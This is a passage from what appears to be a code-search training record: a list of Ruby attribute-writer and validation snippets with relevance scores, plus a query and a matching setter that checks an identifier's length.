"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method with validation | def identifier=(identifier)
if identifier.nil?
fail ArgumentError, "identifier cannot be nil"
end
if identifier.to_s.length > 15
fail ArgumentError, "invalid value for 'identifier', the character length must be smaller than or equal to 15."
end
@identifier = identifier
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attribute(name); end",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def validated_attribute_names(params); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
